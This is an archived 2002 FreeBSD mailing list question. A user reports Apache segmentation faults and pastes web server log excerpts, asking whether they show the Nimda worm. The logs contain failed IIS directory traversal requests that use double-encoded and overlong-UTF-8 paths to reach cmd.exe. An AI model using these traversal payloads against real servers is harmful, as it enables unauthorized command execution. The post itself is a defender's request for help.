From owner-freebsd-questions  Thu Apr 25 18:37:29 2002
Delivered-To: freebsd-questions@freebsd.org
Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39])
	by hub.freebsd.org (Postfix) with ESMTP id 1E5C237B404
	for <freebsd-questions@freebsd.org>; Thu, 25 Apr 2002 18:37:25 -0700 (PDT)
Received: from [192.168.1.101] ([24.126.81.6]) by rwcrmhc53.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020426013724.TBLM25242.rwcrmhc53.attbi.com@[192.168.1.101]>
          for <freebsd-questions@freebsd.org>;
          Fri, 26 Apr 2002 01:37:24 +0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 25 Apr 2002 18:37:33 -0700
Subject: Seg Faults?
From: Steve 1 <ukla@attbi.com>
To: <freebsd-questions@FreeBSD.ORG>
Message-ID: <B8EDFD6D.29AC%ukla@attbi.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Sender: owner-freebsd-questions@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-questions.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-questions>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-questions>
X-Loop: FreeBSD.ORG

Hey All, 

Can anyone point me at documentation for this problem or advise ->


From /var/log/access.log

    [Thu Apr 25 16:40:42 2002] [notice] child pid 490 exit
    signal Segmentation fault (11)


Still occurs after reboot





Also excerpted from /var/log/access.log, is this the nimda worm?

TIA

Steve






<excerpt>

[Thu Apr 25 16:42:47 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/scripts/..%5c../winnt/system32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:42:47 -0700] "GET
/scripts/..%255c../winnt/sys
tem32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"
[Thu Apr 25 16:42:52 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:42:52 -0700] "GET
/_vti_bin/..%255c../..%255c.
./..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-"
[Thu Apr 25 16:42:58 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:42:58 -0700] "GET
/_mem_bin/..%255c../..%255c.
./..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-"
[Thu Apr 25 16:43:03 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/msadc/..%5c../..%5c../..%5c/..<C1>^\../..<C1>^\../..<C1>^\../winnt/
syst
em32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:43:03 -0700] "GET
/msadc/..%255c../..%255c../.
.%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0"
404 265 "-" "-"
[Thu Apr 25 16:43:08 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/scripts/..<C1>^\../winnt/system32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:43:08 -0700] "GET
/scripts/..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"

</excerpt>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message